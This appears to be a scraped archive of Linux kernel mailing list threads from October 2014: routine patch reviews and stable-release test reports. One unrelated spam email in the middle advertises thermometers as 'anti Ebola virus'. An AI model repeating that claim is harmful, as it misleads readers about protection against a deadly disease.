>> Changed from using strncat to strlcat to simplify the code
>>
>> Signed-off-by: Rickard Strandqvist
>>
>> ---
>> drivers/staging/comedi/drivers/comedi_bond.c |6 ++
>> 1 file changed, 2 insertions(+), 4 deletions(-)
>>
>> diff --git a/drivers/staging/comedi/drivers/comedi_bond.c
>> b/drivers/staging/comedi/drivers/comedi_bond.c
>> index 8450c99..5d19861 100644
>> --- a/drivers/staging/comedi/drivers/comedi_bond.c
>> +++ b/drivers/staging/comedi/drivers/comedi_bond.c
>> @@ -262,12 +262,10 @@ static int do_dev_config(struct comedi_device *dev,
>> struct comedi_devconfig *it)
>> {
>> /* Append dev:subdev to devpriv->name */
>> char buf[20];
>> - int left =
>> - MAX_BOARD_NAME - strlen(devpriv->name)
>> - 1;
>> snprintf(buf, sizeof(buf), "%u:%u ",
>> bdev->minor, bdev->subdev);
>> - buf[sizeof(buf) - 1] = 0;
>> - strncat(devpriv->name, buf, left);
>> + strlcat(devpriv->name, buf,
>> + sizeof(devpriv->name));
>> }
>>
>> }
>>
>
> Looks good. Additionally, the #define MAX_BOARD_NAME could be eliminated as
> now it is only used to to set the length of the 'name' member in 'struct
> comedi_bond_private'.
>
> Reviewed-by: Ian Abbott
Hi
Sounds like a good idea Ian.
I'll send a new patch where I removed the MAX_BOARD_NAME tomorrow.
Kind regards
Rickard Strandqvist
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH v1 2/7] mm: Prepare for DAX huge pages
On Thu, Oct 09, 2014 at 04:40:26PM -0400, Matthew Wilcox wrote:
> On Wed, Oct 08, 2014 at 10:43:35PM +0300, Kirill A. Shutemov wrote:
> > On Wed, Oct 08, 2014 at 11:57:58AM -0400, Matthew Wilcox wrote:
> > > On Wed, Oct 08, 2014 at 06:21:24PM +0300, Kirill A. Shutemov wrote:
> > > > On Wed, Oct 08, 2014 at 09:25:24AM -0400, Matthew Wilcox wrote:
> > > > > From: Matthew Wilcox
> > > > >
> > > > > DAX wants to use the 'special' bit to mark PMD entries that are not
> > > > > backed
> > > > > by struct page, just as for PTEs.
> > > >
> > > > Hm. I don't see where you use PMD without special set.
> > >
> > > Right ... I don't currently insert PMDs that point to huge pages of DRAM,
> > > only to huge pages of PMEM.
> >
> > Looks like you don't need pmd_{mk,}special() then. It seems you have all
> > inforamtion you need -- vma -- to find out what's going on. Right?
>
> That would prevent us from putting huge pages of DRAM into a VM_MIXEDMAP |
> VM_HUGEPAGE vma. Is that acceptable to the wider peanut gallery?
We didn't have huge pages on VM_MIXEDMAP | VM_HUGEPAGE before and we don't
have them there after the patchset. Nothing changed.
It probably worth adding VM_BUG_ON() in some code path to be able to catch
this situation.
> > > > No private THP pages with THP? Why?
> > > > It should be trivial: we already have a code path for !page case for
> > > > zero
> > > > page and it shouldn't be too hard to modify do_dax_pmd_fault() to
> > > > support
> > > > COW.
> > > >
> > > > I remeber I've mentioned that you don't think it's reasonable to
> > > > allocate
> > > > 2M page on COW, but that's what we do for anon memory...
> > >
> > > I agree that it shouldn't be too hard, but I have no evidence that it'll
> > > be a performance win to COW 2MB pages for MAP_PRIVATE. I'd rather be
> > > cautious for now and we can explore COWing 2MB chunks in a future patch.
> >
> > I would rather make it other way around: use the same apporoach as for
> > anon memory until data shows it's doesn't make any good. Then consider
> > switching COW for *both* anon and file THP to fallback path.
> > This way we will get consistent behaviour for both types of mappings.
>
> I'm not sure that we want consistent behaviour for both types of mappings.
> My understanding is that they're used for different purposes, and having
> different bahaviour is acceptable.
This should be described in commit message along with other design
solutions (split wrt. mlock, etc) with their pros and cons.
--
Kirill A. Shutemov
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
NON-CONTACT INFRARED THERMOMETER ANTI EBOLA VIRUS USD 16 PER ONE
Dear All NON-CONTACT INFRARED THERMOMETER ANTI EBOLA VIRUS Pls find attached the Products catalogue. 8806 model: 0-500 pcs USD 16 per one. 501-1000 pcs USD 15 per one. 8808 model: 0-500 pcs USD 17 per one, 501-1000 pcs USD 16 per one. Now this product is very hot, Any question please do not hesitate to contact me. Nick Marketing Director -- PERLONG MEDICAL EQUIPMENT HONGKONG LIMITED. ADDRESS: FLAT/RM 1401 14/F WORLD COMMERCE CENTRE HARBOUR CITY 7-11 CANTON RD TSIMSHATSUIKL HONGKONG Tel:+86-25-85553599 Fax:+86-25-83650868 M.P.: +86-13951618193 Website: www.perlong.hk EMAIL:perlong...@gmail.com MSN:perlong...@hotmail.com Yahoo:nick20070...@yahoo.com
Re: [PATCH 3.17 00/25] 3.17.1-stable review
On 10/12/2014 08:24 PM, Greg Kroah-Hartman wrote: > This is the start of the stable review cycle for the 3.17.1 release. > There are 25 patches in this series, all will be posted as a response > to this one. If anyone has any issues with these being applied, please > let me know. > > Responses should be made by Wed Oct 15 02:24:45 UTC 2014. > Anything received after that time might be too late. > > The whole patch series can be found in one patch at: > kernel.org/pub/linux/kernel/v3.0/stable-review/patch-3.17.1-rc1.gz > and the diffstat can be found below. > > thanks, > > greg k-h Compiled and booted on my test system. No dmesg regressions noticed compared to 3.17. Ran kselftest target as it is included in this release. Didn't notice any breakages. -- Shuah -- Shuah Khan Sr. Linux Kernel Developer Samsung Research America (Silicon Valley) shua...@osg.samsung.com | (970) 217-8978 -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 1/1 net-next] caif_usb: remove redundant memory message
On Mon, 2014-10-13 at 22:25 +0200, Fabian Frederick wrote:
> Let MM subsystem display out of memory messages.
[]
> diff --git a/net/caif/caif_usb.c b/net/caif/caif_usb.c
[]
> @@ -87,10 +87,9 @@ static struct cflayer *cfusbl_create(int phyid, u8
> ethaddr[ETH_ALEN],
> {
> struct cfusbl *this = kmalloc(sizeof(struct cfusbl), GFP_ATOMIC);
>
> - if (!this) {
> - pr_warn("Out of memory\n");
> + if (!this)
> return NULL;
> - }
> +
> caif_assert(offsetof(struct cfusbl, layer) == 0);
>
> memset(this, 0, sizeof(struct cflayer));
This bit should probably be:
memset(>layer, 0, sizeof(this->layer));
or the allocation above should use kzalloc.
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] block: update locking context for blk_free_devt
On 2014-10-13 14:26, Dmitry Monakhov wrote:
Jens Axboe writes:
On 2014-10-13 12:35, Dmitry Monakhov wrote:
After 2da78092 this function will not longer sleepy
Signed-off-by: Dmitry Monakhov
---
block/genhd.c |4 +---
1 files changed, 1 insertions(+), 3 deletions(-)
diff --git a/block/genhd.c b/block/genhd.c
index 09da5e4..ae9aaa5 100644
--- a/block/genhd.c
+++ b/block/genhd.c
@@ -441,12 +441,10 @@ int blk_alloc_devt(struct hd_struct *part, dev_t *devt)
* Free @devt which was allocated using blk_alloc_devt().
*
* CONTEXT:
- * Might sleep.
+ * Don't care.
*/
void blk_free_devt(dev_t devt)
{
- might_sleep();
-
if (devt == MKDEV(0, 0))
return;
What's this against? The might_sleep() was killed about a month ago by
commit 46f341ffcfb5. The comment wasn't updated though, it should be.
Against 764f612c6c3c23 linux-block/for-next.
I've found this during development other blockdev related feature.
can you please point what is your development branch.
Ah, I see. The devel branches are always for-3.x/core and
for-3.x/drivers, so right now the current ones are for-3.18/core and so
forth. That fix went into master, and I generally don't pull into the
devel branches unless I really have to. This particular one should
probably have gone in, since it spews a warning. Generally I expect
people running them to use for-next, which really should be merged with
master. I will just pull it in. for-next can and will be rebased
sometimes though, only the real devel branches are more or less set in
stone when it comes to history. So for development purposes, those
should be used and not for-next.
--
Jens Axboe
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 3.14 00/37] 3.14.22-stable review
On 10/12/2014 08:23 PM, Greg Kroah-Hartman wrote: > This is the start of the stable review cycle for the 3.14.22 release. > There are 37 patches in this series, all will be posted as a response > to this one. If anyone has any issues with these being applied, please > let me know. > > Responses should be made by Wed Oct 15 02:23:50 UTC 2014. > Anything received after that time might be too late. > > The whole patch series can be found in one patch at: > kernel.org/pub/linux/kernel/v3.0/stable-review/patch-3.14.22-rc1.gz > and the diffstat can be found below. > > thanks, > > greg k-h > Compiled and booted on my test system. No dmesg regressions. -- Shuah -- Shuah Khan Sr. Linux Kernel Developer Samsung Research America (Silicon Valley) shua...@osg.samsung.com | (970) 217-8978 -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 3.16 00/55] 3.16.6-stable review
On 10/12/2014 08:24 PM, Greg Kroah-Hartman wrote: > This is the start of the stable review cycle for the 3.16.6 release. > There are 55 patches in this series, all will be posted as a response > to this one. If anyone has any issues with these being applied, please > let me know. > > Responses should be made by Wed Oct 15 02:24:32 UTC 2014. > Anything received after that time might be too late. > > The whole patch series can be found in one patch at: > kernel.org/pub/linux/kernel/v3.0/stable-review/patch-3.16.6-rc1.gz > and the diffstat can be found below. > > thanks, > > greg k-h > Compiled and booted on my test system. No dmesg regressions. -- Shuah -- Shuah Khan Sr. Linux Kernel Developer Samsung Research America (Silicon Valley) shua...@osg.samsung.com | (970) 217-8978 -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 3.10 00/16] 3.10.58-stable review
On 10/12/2014 08:23 PM, Greg Kroah-Hartman wrote: > This is the start of the stable review cycle for the 3.10.58 release. > There are 16 patches in this series, all will be posted as a response > to this one. If anyone has any issues with these being applied, please > let me know. > > Responses should be made by Wed Oct 15 02:23:28 UTC 2014. > Anything received after that time might be too late. > > The whole patch series can be found in one patch at: > kernel.org/pub/linux/kernel/v3.0/stable-review/patch-3.10.58-rc1.gz > and the diffstat can be found below. > > thanks, > > greg k-h > Compiled and booted on my test system. No dmesg regressions. -- Shuah -- Shuah Khan Sr. Linux Kernel Developer Samsung Research America (Silicon Valley) shua...@osg.samsung.com | (970) 217-8978 -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH 1/3] ARM: zynq: Move common.h to generic location
On Mon, 2014-10-06 at 01:44PM +0200, Michal Simek wrote: > include/soc/zynq/ is the right location for this header > to be able to share information from this header with other > drivers which require it. > > Signed-off-by: Michal Simek > --- > > arch/arm/mach-zynq/common.c | 2 +- > arch/arm/mach-zynq/hotplug.c | 2 +- > arch/arm/mach-zynq/platsmp.c | 2 +- > arch/arm/mach-zynq/slcr.c | 2 +- In the 3.18 merge window arch/arm/mach-zynq/pm.c had been added which is not covered in this version of the patch. Sören -- To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majord...@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/
Re: [PATCH] block: update locking context for blk_free_devt
Jens Axboe writes:
> On 2014-10-13 12:35, Dmitry Monakhov wrote:
>> After 2da78092 this function will not longer sleepy
>>
>> Signed-off-by: Dmitry Monakhov
>> ---
>> block/genhd.c |4 +---
>> 1 files changed, 1 insertions(+), 3 deletions(-)
>>
>> diff --git a/block/genhd.c b/block/genhd.c
>> index 09da5e4..ae9aaa5 100644
>> --- a/block/genhd.c
>> +++ b/block/genhd.c
>> @@ -441,12 +441,10 @@ int blk_alloc_devt(struct hd_struct *part, dev_t *devt)
>>* Free @devt which was allocated using blk_alloc_devt().
>>*
>>* CONTEXT:
>> - * Might sleep.
>> + * Don't care.
>>*/
>> void blk_free_devt(dev_t devt)
>> {
>> -might_sleep();
>> -
>> if (devt == MKDEV(0, 0))
>> return;
>
> What's this against? The might_sleep() was killed about a month ago by
> commit 46f341ffcfb5. The comment wasn't updated though, it should be.
Against 764f612c6c3c23 linux-block/for-next.
I've found this during development other blockdev related feature.
can you please point what is your development branch.
>
> --
> Jens Axboe
pgpn6SZ5y0oP7.pgp
Description: PGP signature
Re: [PATCH 1/1 linux-next] scripts/checkpatch.pl: fix k[mz]alloc with multiplies check
On Mon, 2014-10-13 at 22:06 +0200, Fabian Frederick wrote:
> checkpatch doesn't seem to detect any case since
> Commit e367455a9f25
> ("checkpatch: emit fewer kmalloc_array/kcalloc conversion warnings")
It seems that worked too well.
Thanks, I'll look at it.
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
the body of a message to majord...@vger.kernel.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
Please read the FAQ at http://www.tux.org/lkml/
